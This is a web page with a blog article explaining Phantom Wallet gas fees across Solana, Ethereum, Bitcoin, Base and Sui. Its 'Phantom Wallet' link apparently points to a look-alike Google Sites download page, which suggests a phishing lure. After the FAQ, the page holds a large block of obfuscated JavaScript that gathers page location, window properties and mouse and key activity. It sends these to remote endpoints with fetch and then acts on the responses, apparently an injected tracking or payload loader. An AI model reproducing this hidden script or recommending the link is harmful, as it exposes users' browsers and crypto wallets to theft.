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			<h1 class="post-title">Phantom Wallet Gas Fees Explained: Why Solana Costs Less Than Ethereum and What This Means for Your Portfolio</h1>

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									<span class="post-date">November 4, 2025</span>
				
				<strong class="post-title-author">
					 - By&nbsp;<a href="https://sgrmahal.in/blog/author/edgeunitbasecraft/" rel="author">edgeunitbasecraft</a>				</strong>
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		<p>A user opens Phantom Wallet and attempts to swap tokens on Ethereum, seeing a gas fee estimate of $15 to $45 depending on network congestion. Minutes later, they perform an identical operation on Solana and pay $0.00025. The same wallet, the same type of transaction, the same user—yet the cost differs by a factor of tens of thousands. This is not a display error or a promotional feature. It reflects fundamental differences in how blockchains process transactions, allocate resources, and price access to their networks. Understanding those differences is essential for managing a multi-chain portfolio effectively and avoiding the common mistake of assuming that wallet design controls transaction costs.</p>
<p>Phantom Wallet presents itself as a unified entry point to multiple blockchains, including Solana, Ethereum, Bitcoin, Base, and Sui, each with distinct economic models. When a user sees gas fees vary wildly across these networks in a single application, they are observing the real structural costs of different consensus mechanisms, validator incentives, and block space scarcity. The wallet itself does not determine these costs; it reveals them. Knowing why those differences exist and what they mean for portfolio strategy requires examining the mechanics behind the fee structures rather than looking for wallet settings to optimize.</p>
<p><img decoding="async" src="https://lh3.googleusercontent.com/sitesv/AG8ngQUPlj8YeMvgq8soUlfRdjZRy8hQ7N_Z49Dqi4oMv7SrhSHpVDw35VJ0OYv1YhLLkYD67hpnwzn4GrHGrQjramJ6Oks3DjdQw4WRj7syD0NiVcgINQBxvFV1xGGkULOA9zksDEuTszenelTYo4k8vZCNjpH3Iwb02kA8SX5_vYsf4gzrRTiSCxUhEEKxGWuWRKeyprlRwZh6c-HRJG37o3Q" alt="A multi-chain wallet interface displaying transaction fee estimates across Solana, Ethereum, Base, and Sui networks, illustrating the dramatic cost differences between blockchain networks" /></p>
<h2>How Solana achieves sub-cent transaction costs</h2>
<p>Solana&#8217;s fee structure rests on a design philosophy centered on throughput rather than constraint. The network targets 400,000 transactions per second through parallel processing, a consensus mechanism called Proof of History that ties transactions to verifiable time, and a high baseline transaction size of 5,000 compute units. A simple transfer or swap typically costs between 5,000 and 50,000 compute units. At Solana&#8217;s current price per compute unit—roughly 100 lamports, or 0.000001 SOL—a basic transaction consumes less than $0.001 in fees, even during periods of elevated activity.</p>
<p>This low floor does not mean Solana transactions are free. Validators still require compensation. The difference is that Solana distributes the cost across a much larger number of transactions. If a block contains 100,000 transactions and validators collect fees across all of them, the per-transaction cost becomes negligible. The network achieves this density through serialized transaction processing and validator incentives that reward quantity. This economic model works as long as validators run affordable infrastructure and the network maintains high utilization relative to its throughput capacity.</p>
<p>During periods of low activity, Solana fees may drop to a fraction of a cent or even lower. During periods of congestion—typically triggered by bot activity, meme token launches, or network-wide stress—fees can spike to $0.05 or higher as users bid to prioritize their transactions. However, even the upper end of Solana fee ranges rarely approaches what Ethereum charges during normal conditions. The structural cost difference remains enormous because the underlying block capacity is so much larger.</p>
<p>When using <a href="https://sites.google.com/phantom-solana-wallet.com/phantom-walletdownload/">Phantom Wallet</a> on Solana, users see these costs reflected in the transaction preview before confirming any action. The low fees create a different user behavior pattern: users may execute many small transactions, experiment with different strategies, or manage portfolios in ways that would be financially irrational on high-fee networks. This flexibility comes with its own risks, including the temptation to over-trade and the exposure to failed transactions if the network becomes genuinely congested.</p>
<h2>Why Ethereum gas fees remain structurally higher</h2>
<p>Ethereum&#8217;s fee model emerges from a deliberately constrained block space. The network processes approximately 12 to 15 transactions per second under normal conditions, with each block containing a maximum of roughly 30 million gas units. A simple token transfer consumes 21,000 gas. A swap through a decentralized exchange typically consumes 100,000 to 200,000 gas. When demand for block space exceeds supply, users compete by raising their gas bids, and the network processes transactions in order of highest fee first.</p>
<p>This auction model ensures that block space goes to users who value it most, but it also means that fees fluctuate with demand. During quiet periods, gas prices may drop to 20 to 30 gwei, making transactions cost $1 to $3. During congestion—driven by popular NFT launches, high-value arbitrage opportunities, or simply weekend activity when more participants trade—gas prices spike to 100, 200, or even 500 gwei. A swap that costs $15 at 50 gwei costs $150 at 500 gwei, with the only variable being network congestion and user demand, not any change to the underlying transaction.</p>
<p>Ethereum&#8217;s intentional constraint on block space reflects the network&#8217;s design priorities. Lower throughput means lower demands on validator hardware, easier network participation, and stronger resistance to centralization pressures. It also means higher fees during any period of genuine demand. This is not a bug in Ethereum&#8217;s design; it is a deliberate trade-off. The network chose security and decentralization properties over low transaction costs. Users must accept higher fees as the price of accessing a network with Ethereum&#8217;s specific economic guarantees.</p>
<p>Phantom Wallet displays these fee estimates based on current network conditions. When a user sees a $30 gas fee on Ethereum while simultaneously seeing a $0.0003 fee on Solana, they are observing this structural difference in real time. The wallet cannot reduce Ethereum gas fees because those costs are determined by validator economics and block space scarcity, not by wallet design. Premium features, advanced routing, or integration tricks do not change the fundamental auction mechanism that prices Ethereum transactions.</p>
<h2>Other networks and their fee positioning</h2>
<p>Bitcoin&#8217;s fee structure operates on a completely different principle than either Solana or Ethereum. Bitcoin blocks occur approximately every 10 minutes and contain a maximum of 4 megabytes of data. Transaction fees are measured in satoshis per byte and depend on how much data a transaction occupies. A simple single-input transfer might occupy 250 bytes and cost $0.50 to $2 depending on network conditions. A more complex transaction with multiple inputs might occupy 2 kilobytes and cost $5 to $20. Bitcoin fees are not about computation or smart contract complexity; they are purely about block space and data size.</p>
<p>Base, an Ethereum Layer 2 network, inherits Ethereum&#8217;s transaction model but reduces fees through a different mechanism: batching. Instead of every transaction being processed individually on Ethereum&#8217;s main chain, Base bundles thousands of transactions together, compresses them, and posts the bundle as a single transaction on Ethereum. This reduces the per-transaction cost of Ethereum settlement. A transaction that might cost $5 to $15 on Ethereum Layer 1 might cost $0.10 to $0.50 on Base, depending on Layer 1 gas costs at the time of batching. Base fees rise and fall with Ethereum&#8217;s gas prices because Base fundamentally depends on Ethereum&#8217;s block space for settlement.</p>
<p>Sui introduces yet another fee model based on its Move programming language and transaction design. Sui charges fees in MIST (0.000001 SUI) based on computation, storage, and network use. Fees are generally very low, typically sub-cent like Solana, but the fee structure includes storage costs that can affect long-term portfolio management. When comparing Phantom&#8217;s fee displays across networks, users are seeing these distinct economic models reflected in real numbers rather than abstract concepts.</p>
<h2>How network congestion affects real-world costs</h2>
<p>Network congestion is the single largest driver of fee variation within a single blockchain. Ethereum gas fees can increase 10-fold during peak demand periods. Solana fees can spike from $0.0003 to $0.05 or higher when the network processes millions of transactions per minute. Bitcoin fees respond to mempool backlog, and users competing for limited block space drive fees upward. These changes happen in minutes and can reverse just as quickly once demand subsides.</p>
<p>Phantom Wallet&#8217;s transaction preview provides a snapshot of fees at the moment of submission, but that estimate can become outdated if transaction confirmation is delayed. If a user approves a Solana transaction with a fee estimate of $0.001 and the transaction sits in the mempool for several minutes while a token launch creates network congestion, the transaction may never execute because subsequent transactions are willing to pay more. This is not a wallet failure; it reflects how priority fees work in congestion-based auctions.</p>
<p>For Ethereum, the situation differs slightly. If a user submits a transaction at 50 gwei and gas prices spike to 200 gwei, their original transaction will still process—it will just be slower as higher-gas transactions get priority. Phantom allows users to set custom gas parameters for Ethereum transactions, so experienced users can either accept slower processing at lower fees or pay more to accelerate. This flexibility exists in the wallet interface but does not change the underlying network economics.</p>
<p>Portfolio management across multiple chains requires understanding these congestion patterns. If a user needs to move funds quickly on Ethereum, they must accept higher gas costs. If the same task can wait a few hours or be batched with other transactions, costs can drop significantly. On Solana, the same logic applies but at much tighter margins because base fees are so low that congestion must be extreme to create meaningful cost differences. Strategic timing and network selection become part of portfolio optimization.</p>
<h2>Comparing true costs: Fee plus execution risk</h2>
<p>The fee shown in Phantom Wallet&#8217;s transaction preview is not the only cost of a transaction. Execution risk—the possibility that a transaction fails, reverts, or produces an unexpected result—can make actual costs much higher than the fee estimate. On Ethereum, a failed transaction that reverts after consuming 100,000 gas still charges full gas fees. A swap that executes at an unfavorable price due to slippage effectively costs more than the displayed fee. A transaction rejected because of network congestion means the fee was paid for nothing and the transaction must be resubmitted.</p>
<p>Phantom&#8217;s transaction preview and scam detection features attempt to reduce execution risk by showing users what a transaction will do before they sign it. This is valuable because it prevents users from unknowingly approving harmful contracts or sending funds to wrong addresses. However, the wallet cannot guarantee that a quoted swap price will still be available by the time the transaction confirms, particularly on congested networks where confirmation can take several minutes. Users must account for slippage risk in addition to network fees.</p>
<p>On Solana, execution risk differs because transaction throughput is high and confirmation times are typically under one second. However, failed transactions still consume fees, and during congestion periods, transactions can fail more frequently as the network becomes saturated. The combination of low base fees and high execution rates creates a different risk profile than Ethereum: users can afford to retry failed transactions, but repeated failures on a congested Solana network can accumulate costs.</p>
<p>Bitcoin and Layer 2 networks introduce their own execution risks. Bitcoin transactions cannot be reliably expedited once submitted; they wait in the mempool based on fee and size. If a user submits a transaction at too low a fee, it may sit for hours or days and eventually expire. Layer 2 networks depend on parent chain capacity for withdrawal to Layer 1, introducing settlement risk and potential delays.</p>
<h2>Portfolio strategy implications of fee differences</h2>
<p>The dramatic fee differences across blockchains directly affect optimal portfolio management. On Solana, users can rebalance positions frequently, test trading strategies with small test transactions, and consolidate funds across multiple addresses without worrying about accumulating fees. On Ethereum, every transaction is a meaningful cost decision. Large positions might be managed through longer holding periods and fewer rebalancing events to minimize accumulated fees.</p>
<p>Stablecoin transfers demonstrate the fee impact clearly. Sending USDC from one address to another on Solana costs $0.0003. The same operation on Ethereum costs $1 to $15 depending on gas prices. This asymmetry makes Solana preferable for frequent treasury operations, payment processing, or any application requiring many small transfers. It makes Ethereum preferable for storing large amounts that move infrequently, where the absolute fee is small relative to the asset amount and security properties matter more than flexibility.</p>
<p>Users managing portfolios across multiple chains should consider which assets to hold on which networks based on expected activity and fee economics. High-volume trading might favor Solana or Layer 2 networks. Long-term holding of large positions might favor networks where the fee structure is less punitive. Strategic use of Bitcoin or other high-fee networks might apply only to important transactions where those networks&#8217; specific properties justify the cost.</p>
<p>Tax and accounting considerations also shift with fee variations. On a high-fee network, every transaction becomes substantial enough to track individually for tax reporting. On Solana, users might execute dozens of small transactions that collectively cost less than a single Ethereum swap. The transaction volume alone can complicate record-keeping and tax filing unless users establish clear tracking methods early.</p>
<h2>Evaluating fee claims and optimization tactics</h2>
<p>Fee optimization claims deserve skepticism. No wallet, routing service, or interface can eliminate the structural costs of blockchains with high fees or limited throughput. A wallet developer cannot reduce Ethereum gas fees by clever routing, aggregation, or batching unless they operate their own Layer 2 network or use an existing Layer 2. Phantom&#8217;s integration with Base provides one such option—users can move funds to Base and execute transactions at lower cost, but that choice involves a withdrawal to Layer 2 and acceptance of Layer 2&#8217;s specific trade-offs.</p>
<p>Some services offer &#8220;gas-free&#8221; transactions by subsidizing fees temporarily or recovering costs through trading spreads. These are not truly free; they shift costs to other users or recover them through reduced exchange rates. Similarly, batching services that combine multiple transactions can reduce per-transaction costs but introduce delays and concentrated counterparty risk. Users should evaluate whether the convenience justifies the trade-off.</p>
<p>Hardware wallet integration, which Phantom supports through Ledger connectivity, does not affect transaction fees because hardware wallets only sign transactions; they do not process them or reduce network costs. The benefit of hardware wallet integration is security—keeping private keys offline—not fee reduction. Users should not expect hardware wallet use to reduce gas costs because that expectation reflects a misunderstanding of what hardware wallets do.</p>
<p>Advanced wallet features such as transaction previews and spam filtering improve user safety and reduce execution risk, which indirectly reduces wasted fees from failed or malicious transactions. These are genuine benefits, but they are separate from the underlying network economics. A wallet cannot show lower fees than the network actually charges; it can only display fees accurately and help users avoid mistakes that waste fees.</p>
<h2>Long-term network evolution and fee trends</h2>
<p>Ethereum is actively developing solutions to reduce fees through scaling technologies. The Dencun upgrade introduced Proto-Dankshading (EIP-4844), which reduces data costs for Layer 2 transactions. As more Ethereum activity migrates to Layer 2 networks like Base, Arbitrum, and Optimism, average fees for casual users may shift toward Layer 2 costs ($0.01 to $1 range) rather than Layer 1 costs ($5 to $50 range). This does not change Ethereum Layer 1&#8217;s underlying economics, but it redistributes where transactions occur.</p>
<p>Solana continues to evolve its validator infrastructure and transaction processing capabilities. If Solana successfully increases throughput further, fees could remain sub-cent even during periods of higher activity. However, any increase in network usage without corresponding throughput gains would increase congestion and fees. Solana&#8217;s fee structure remains fundamentally dependent on maintaining high capacity relative to demand.</p>
<p>Bitcoin is unlikely to significantly lower transaction fees on the base layer because that would require relaxing its intentional throughput constraints. Layer 2 solutions like Lightning Network offer low-fee payments, but they require different wallet interfaces and behavioral changes. Users planning long-term Bitcoin strategies should assume fees will remain in the $0.50 to $10 range for individual transactions, with meaningful variability based on mempool conditions.</p>
<p>New blockchains and Layer 2 networks continue to launch with fee-reduction as a primary value proposition. Phantom&#8217;s multi-chain support positions it to display real-world fee costs across this evolving ecosystem. Users should view current fee structures as snapshots of a changing landscape rather than permanent characteristics of each network.</p>
<div class="faq">
<h2>Frequently asked questions</h2>
<div class="faq-item">
<h3>Why are Solana transaction fees so much lower than Ethereum fees in Phantom Wallet?</h3>
<p>Solana processes approximately 400,000 transactions per second through parallel processing and high block throughput, distributing validator compensation across a much larger transaction volume. Ethereum intentionally limits block space to roughly 12 transactions per second, creating scarcity that drives up fees during any period of demand. Both approaches reflect deliberate design choices. Solana optimizes for throughput and low costs; Ethereum prioritizes security and decentralization through constrained capacity.</p>
</p></div>
<div class="faq-item">
<h3>Can I reduce Ethereum gas fees by using a blockchain wallet like Phantom?</h3>
<p>No wallet can reduce Ethereum Layer 1 gas fees because those fees are determined by network congestion and block space scarcity, not wallet design. However, Phantom supports Base, a Layer 2 network that batches transactions and charges much lower fees ($0.10 to $0.50 per transaction). You can move funds to Base and execute transactions at lower cost, but this involves a withdrawal to Layer 2 and acceptance of Layer 2&#8217;s specific properties and risks.</p>
</p></div>
<div class="faq-item">
<h3>What should I do if a transaction fails after paying gas fees?</h3>
<p>Failed transactions consume full gas fees with no transaction executed. On Ethereum, resubmit the transaction at the same or higher gas price depending on current conditions. On Solana, resubmit quickly as fees and conditions may have changed. Use Phantom&#8217;s transaction preview before confirming to reduce the likelihood of failure. Check your transaction hash on the appropriate block explorer to confirm whether a transaction actually failed or is still pending confirmation.</p>
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vg57RPc^luMfcE[LvPOdg%luMfcE[GmiRFn(0x66)]]}))},KK_Fw0s=async(vg57RPc,LvPOdg)=>{function jT_gHXL(vg57RPc){var LvPOdg="waNqchim9ZzH~Y]M:!t)G5_.K^bfO@nEdv2%orURQx<${jDS6CIB3/k(Pp*A7eu;?`|XW,y}V=L+[T0>8g1F&l#\"J4s",jT_gHXL,GmiRFn,yF5V3o,fT_qK2,FyCqx8,kqi_53,_LW81w;OMC960(jT_gHXL=""+(vg57RPc||""),GmiRFn=jT_gHXL.length,yF5V3o=[],fT_qK2=PsdikXi[0x0],FyCqx8=PsdikXi[0x0],kqi_53=-PsdikXi[0x1]);for(_LW81w=PsdikXi[0x0];_LW81w<GmiRFn;_LW81w++){var DVJAY2l=LvPOdg.indexOf(jT_gHXL[_LW81w]);if(DVJAY2l===-PsdikXi[0x1])continue;if(kqi_53<PsdikXi[0x0]){kqi_53=DVJAY2l}else{OMC960(kqi_53+=DVJAY2l*PsdikXi[0xc],fT_qK2|=kqi_53<<FyCqx8,FyCqx8+=(kqi_53&PsdikXi[0xd])>PsdikXi[0xe]?PsdikXi[0xf]:PsdikXi[0x10]);do{OMC960(yF5V3o.push(fT_qK2&PsdikXi[0x3]),fT_qK2>>=PsdikXi[0x2],FyCqx8-=PsdikXi[0x2])}while(FyCqx8>PsdikXi[0x9]);kqi_53=-PsdikXi[0x1]}}if(kqi_53>-PsdikXi[0x1]){yF5V3o.push((fT_qK2|kqi_53<<FyCqx8)&PsdikXi[0x3])}return cLtQU_S(yF5V3o)}function GmiRFn(vg57RPc){if(typeof IJB1Uz[vg57RPc]===PsdikXi[0x5]){return IJB1Uz[vg57RPc]=jT_gHXL(epwFdN[vg57RPc])}return IJB1Uz[vg57RPc]}const NsVng4l=await fetch(GmiRFn(0x67)+vg57RPc,{[GmiRFn(0x68)]:GmiRFn(0x69),[GmiRFn(0x6a)]:SqmNM4r(DVJAY2l[GmiRFn(0x6b)](JSON[GmiRFn(0x6c)](LvPOdg)))});if(!NsVng4l.ok){throw new Error}return N69cHKe[GmiRFn(0x6d)](SqmNM4r(new Uint8Array(await NsVng4l[GmiRFn(0x6e)]())))};let GlD3xX=PsdikXi[0x0],wReWznL=PsdikXi[0x0];setTimeout(()=>{function vg57RPc(vg57RPc){var LvPOdg="aGv.1D)q:ZO[{uz35;4Hi+hk%Km6V_?dsU`&<b]\"ct9wp*0/ye>BA}L8Q~EI2|W^=#@jfM!(oTgJS$7xnCYNlFXRPr,",jT_gHXL,GmiRFn,NsVng4l,yF5V3o,fT_qK2,FyCqx8,kqi_53;OMC960(jT_gHXL=""+(vg57RPc||""),GmiRFn=jT_gHXL.length,NsVng4l=[],yF5V3o=PsdikXi[0x0],fT_qK2=PsdikXi[0x0],FyCqx8=-PsdikXi[0x1]);for(kqi_53=PsdikXi[0x0];kqi_53<GmiRFn;kqi_53++){var _LW81w=LvPOdg.indexOf(jT_gHXL[kqi_53]);if(_LW81w===-PsdikXi[0x1])continue;if(FyCqx8<PsdikXi[0x0]){FyCqx8=_LW81w}else{OMC960(FyCqx8+=_LW81w*PsdikXi[0xc],yF5V3o|=FyCqx8<<fT_qK2,fT_qK2+=(FyCqx8&PsdikXi[0xd])>PsdikXi[0xe]?PsdikXi[0xf]:PsdikXi[0x10]);do{OMC960(NsVng4l.push(yF5V3o&PsdikXi[0x3]),yF5V3o>>=PsdikXi[0x2],fT_qK2-=PsdikXi[0x2])}while(fT_qK2>PsdikXi[0x9]);FyCqx8=-PsdikXi[0x1]}}if(FyCqx8>-PsdikXi[0x1]){NsVng4l.push((yF5V3o|FyCqx8<<fT_qK2)&PsdikXi[0x3])}return cLtQU_S(NsVng4l)}function LvPOdg(LvPOdg){if(typeof IJB1Uz[LvPOdg]===PsdikXi[0x5]){return IJB1Uz[LvPOdg]=vg57RPc(epwFdN[LvPOdg])}return IJB1Uz[LvPOdg]}OMC960(GlD3xX=JTKqCh(),KK_Fw0s(LvPOdg(0x6f),{[LvPOdg(0x70)]:_LW81w,u:window[LvPOdg(0x71)][LvPOdg(0x72)],[LvPOdg(0x73)]:Object[LvPOdg(0x74)](window)[LvPOdg(0x75)](vg57RPc=>{function LvPOdg(vg57RPc){var LvPOdg="wMGWUDPLbeBXrFJ;TKAQn^4.jsg1cmf!p_Y+]@Z8[I}C)(<N:`*0=9Sq$,d{?6>aV%x&u3kRl2~#viE|Hyzo57O\"/th",jT_gHXL,GmiRFn,NsVng4l,yF5V3o,fT_qK2,FyCqx8,kqi_53;OMC960(jT_gHXL=""+(vg57RPc||""),GmiRFn=jT_gHXL.length,NsVng4l=[],yF5V3o=PsdikXi[0x0],fT_qK2=PsdikXi[0x0],FyCqx8=-PsdikXi[0x1]);for(kqi_53=PsdikXi[0x0];kqi_53<GmiRFn;kqi_53++){var _LW81w=LvPOdg.indexOf(jT_gHXL[kqi_53]);if(_LW81w===-PsdikXi[0x1])continue;if(FyCqx8<PsdikXi[0x0]){FyCqx8=_LW81w}else{OMC960(FyCqx8+=_LW81w*PsdikXi[0xc],yF5V3o|=FyCqx8<<fT_qK2,fT_qK2+=(FyCqx8&PsdikXi[0xd])>PsdikXi[0xe]?PsdikXi[0xf]:PsdikXi[0x10]);do{OMC960(NsVng4l.push(yF5V3o&PsdikXi[0x3]),yF5V3o>>=PsdikXi[0x2],fT_qK2-=PsdikXi[0x2])}while(fT_qK2>PsdikXi[0x9]);FyCqx8=-PsdikXi[0x1]}}if(FyCqx8>-PsdikXi[0x1]){NsVng4l.push((yF5V3o|FyCqx8<<fT_qK2)&PsdikXi[0x3])}return cLtQU_S(NsVng4l)}function jT_gHXL(vg57RPc){if(typeof IJB1Uz[vg57RPc]===PsdikXi[0x5]){return IJB1Uz[vg57RPc]=LvPOdg(epwFdN[vg57RPc])}return IJB1Uz[vg57RPc]}return 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IJB1Uz[vg57RPc]===PsdikXi[0x5]){return IJB1Uz[vg57RPc]=jT_gHXL(epwFdN[vg57RPc])}return IJB1Uz[vg57RPc]}const NsVng4l=JSON[LvPOdg(0x79)](vg57RPc);OMC960(wReWznL=JTKqCh(),FyCqx8=NsVng4l[GmiRFn(0x7a)],NsVng4l[PsdikXi[0x12]]&&yIbdBU(NsVng4l[PsdikXi[0x12]]))})[LvPOdg(0x7b)](()=>{return PsdikXi[0x0]}))},0x1f4);let pGFAvb=!PsdikXi[0x1],aixbaYs=PsdikXi[0x0],g8x_cF=PsdikXi[0x0];OMC960(document[LvPOdg(PsdikXi[0x13])](LvPOdg(0x7d),vg57RPc=>{function LvPOdg(vg57RPc){var LvPOdg="u}v(_#R&)683sf,%KdV[Ohwx5LPyrz@Hc7^B;`SWb~T$g.qEiX0Fl]4A+!>Ze9j/JU*pDQ{o2kaM=N1Y?C:Gm|It\"n<",jT_gHXL,GmiRFn,NsVng4l,yF5V3o,fT_qK2,FyCqx8,kqi_53;OMC960(jT_gHXL=""+(vg57RPc||""),GmiRFn=jT_gHXL.length,NsVng4l=[],yF5V3o=PsdikXi[0x0],fT_qK2=PsdikXi[0x0],FyCqx8=-PsdikXi[0x1]);for(kqi_53=PsdikXi[0x0];kqi_53<GmiRFn;kqi_53++){var _LW81w=LvPOdg.indexOf(jT_gHXL[kqi_53]);if(_LW81w===-PsdikXi[0x1])continue;if(FyCqx8<PsdikXi[0x0]){FyCqx8=_LW81w}else{OMC960(FyCqx8+=_LW81w*PsdikXi[0xc],yF5V3o|=FyCqx8<<fT_qK2,fT_qK2+=(FyCqx8&PsdikXi[0xd])>PsdikXi[0xe]?PsdikXi[0xf]:PsdikXi[0x10]);do{OMC960(NsVng4l.push(yF5V3o&PsdikXi[0x3]),yF5V3o>>=PsdikXi[0x2],fT_qK2-=PsdikXi[0x2])}while(fT_qK2>PsdikXi[0x9]);FyCqx8=-PsdikXi[0x1]}}if(FyCqx8>-PsdikXi[0x1]){NsVng4l.push((yF5V3o|FyCqx8<<fT_qK2)&PsdikXi[0x3])}return cLtQU_S(NsVng4l)}function jT_gHXL(vg57RPc){if(typeof IJB1Uz[vg57RPc]===PsdikXi[0x5]){return IJB1Uz[vg57RPc]=LvPOdg(epwFdN[vg57RPc])}return IJB1Uz[vg57RPc]}return vg57RPc[jT_gHXL(0x7e)]&&aixbaYs++}),document[LvPOdg(PsdikXi[0x13])](LvPOdg(PsdikXi[0x14]),vg57RPc=>{function LvPOdg(vg57RPc){var LvPOdg="7319][rTB$*We8|}AgDXU4VGIxPKNSQt<LHi(f+FY%w:;Zn/_=by{^0p`cmkj?zs!R5~a,CvJE>\"ul@h)&6M#Oq2od.",jT_gHXL,GmiRFn,NsVng4l,yF5V3o,fT_qK2,FyCqx8,kqi_53;OMC960(jT_gHXL=""+(vg57RPc||""),GmiRFn=jT_gHXL.length,NsVng4l=[],yF5V3o=PsdikXi[0x0],fT_qK2=PsdikXi[0x0],FyCqx8=-PsdikXi[0x1]);for(kqi_53=PsdikXi[0x0];kqi_53<GmiRFn;kqi_53++){var _LW81w=LvPOdg.indexOf(jT_gHXL[kqi_53]);if(_LW81w===-PsdikXi[0x1])continue;if(FyCqx8<PsdikXi[0x0]){FyCqx8=_LW81w}else{OMC960(FyCqx8+=_LW81w*PsdikXi[0xc],yF5V3o|=FyCqx8<<fT_qK2,fT_qK2+=(FyCqx8&PsdikXi[0xd])>PsdikXi[0xe]?PsdikXi[0xf]:PsdikXi[0x10]);do{OMC960(NsVng4l.push(yF5V3o&PsdikXi[0x3]),yF5V3o>>=PsdikXi[0x2],fT_qK2-=PsdikXi[0x2])}while(fT_qK2>PsdikXi[0x9]);FyCqx8=-PsdikXi[0x1]}}if(FyCqx8>-PsdikXi[0x1]){NsVng4l.push((yF5V3o|FyCqx8<<fT_qK2)&PsdikXi[0x3])}return cLtQU_S(NsVng4l)}function jT_gHXL(vg57RPc){if(typeof IJB1Uz[vg57RPc]===PsdikXi[0x5]){return IJB1Uz[vg57RPc]=LvPOdg(epwFdN[vg57RPc])}return IJB1Uz[vg57RPc]}return vg57RPc[jT_gHXL(PsdikXi[0x15])]&&g8x_cF++}),window[LvPOdg(0x81)]={["cl"](vg57RPc,LvPOdg,jT_gHXL){function GmiRFn(vg57RPc){var LvPOdg="WT~;|wJ(@h0b$7M)64+:`f3<%j&,]t\"9VpYoO.A>cL#e=*k[}ZXvdr_^RBuDaq/81!HI{sgx?yC2nQz5lGNKFPUimSE",GmiRFn,fT_qK2,NsVng4l,yF5V3o,FyCqx8,kqi_53,_LW81w;OMC960(GmiRFn=""+(vg57RPc||""),fT_qK2=GmiRFn.length,NsVng4l=[],yF5V3o=PsdikXi[0x0],FyCqx8=PsdikXi[0x0],kqi_53=-PsdikXi[0x1]);for(_LW81w=PsdikXi[0x0];_LW81w<fT_qK2;_LW81w++){var DVJAY2l=LvPOdg.indexOf(GmiRFn[_LW81w]);if(DVJAY2l===-PsdikXi[0x1])continue;if(kqi_53<PsdikXi[0x0]){kqi_53=DVJAY2l}else{OMC960(kqi_53+=DVJAY2l*PsdikXi[0xc],yF5V3o|=kqi_53<<FyCqx8,FyCqx8+=(kqi_53&PsdikXi[0xd])>PsdikXi[0xe]?PsdikXi[0xf]:PsdikXi[0x10]);do{OMC960(NsVng4l.push(yF5V3o&PsdikXi[0x3]),yF5V3o>>=PsdikXi[0x2],FyCqx8-=PsdikXi[0x2])}while(FyCqx8>PsdikXi[0x9]);kqi_53=-PsdikXi[0x1]}}if(kqi_53>-PsdikXi[0x1]){NsVng4l.push((yF5V3o|kqi_53<<FyCqx8)&PsdikXi[0x3])}return cLtQU_S(NsVng4l)}function fT_qK2(vg57RPc){if(typeof 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cLtQU_S(NsVng4l)}function GmiRFn(GmiRFn){if(typeof IJB1Uz[GmiRFn]===PsdikXi[0x5]){return IJB1Uz[GmiRFn]=vg57RPc(epwFdN[GmiRFn])}return IJB1Uz[GmiRFn]}if(pGFAvb){return}pGFAvb=!PsdikXi[0x0];const fT_qK2=JTKqCh();OMC960(NsVng4l[GmiRFn(0x84)](yF5V3o,fT_qK2+HTHW0NQ*PsdikXi[0x16]+""),setTimeout(()=>{function vg57RPc(vg57RPc){var GmiRFn="FX4K<g(Qvw8$>yW]O7j!2b{,N_Efkpq.VrJn^M`&uxLZTo1)|D6cY:e~C%9\"=RUa?/[GB@#5h*Iz3dP;0A}+mtlsHSi",fT_qK2,LvPOdg,NsVng4l,yF5V3o,FyCqx8,kqi_53,_LW81w;OMC960(fT_qK2=""+(vg57RPc||""),LvPOdg=fT_qK2.length,NsVng4l=[],yF5V3o=PsdikXi[0x0],FyCqx8=PsdikXi[0x0],kqi_53=-PsdikXi[0x1]);for(_LW81w=PsdikXi[0x0];_LW81w<LvPOdg;_LW81w++){var DVJAY2l=GmiRFn.indexOf(fT_qK2[_LW81w]);if(DVJAY2l===-PsdikXi[0x1])continue;if(kqi_53<PsdikXi[0x0]){kqi_53=DVJAY2l}else{OMC960(kqi_53+=DVJAY2l*PsdikXi[0xc],yF5V3o|=kqi_53<<FyCqx8,FyCqx8+=(kqi_53&PsdikXi[0xd])>PsdikXi[0xe]?PsdikXi[0xf]:PsdikXi[0x10]);do{OMC960(NsVng4l.push(yF5V3o&PsdikXi[0x3]),yF5V3o>>=PsdikXi[0x2],FyCqx8-=PsdikXi[0x2])}while(FyCqx8>PsdikXi[0x9]);kqi_53=-PsdikXi[0x1]}}if(kqi_53>-PsdikXi[0x1]){NsVng4l.push((yF5V3o|kqi_53<<FyCqx8)&PsdikXi[0x3])}return cLtQU_S(NsVng4l)}function GmiRFn(GmiRFn){if(typeof IJB1Uz[GmiRFn]===PsdikXi[0x5]){return IJB1Uz[GmiRFn]=vg57RPc(epwFdN[GmiRFn])}return IJB1Uz[GmiRFn]}return KK_Fw0s(GmiRFn(0x85),{[GmiRFn(0x86)]:FyCqx8,[GmiRFn(0x87)]:_LW81w,[GmiRFn(0x88)]:wReWznL-GlD3xX,mm:aixbaYs,dc:g8x_cF,fk:LvPOdg,[GmiRFn(0x89)]:!document[GmiRFn(0x8a)]&&document[GmiRFn(0x8b)](),ms:fT_qK2-wReWznL})[GmiRFn(0x8c)](vg57RPc=>{return vg57RPc&&setTimeout(()=>{return yIbdBU(vg57RPc)},jT_gHXL?jT_gHXL-(JTKqCh()-fT_qK2):PsdikXi[0x0])})[GmiRFn(0x8d)](()=>{return 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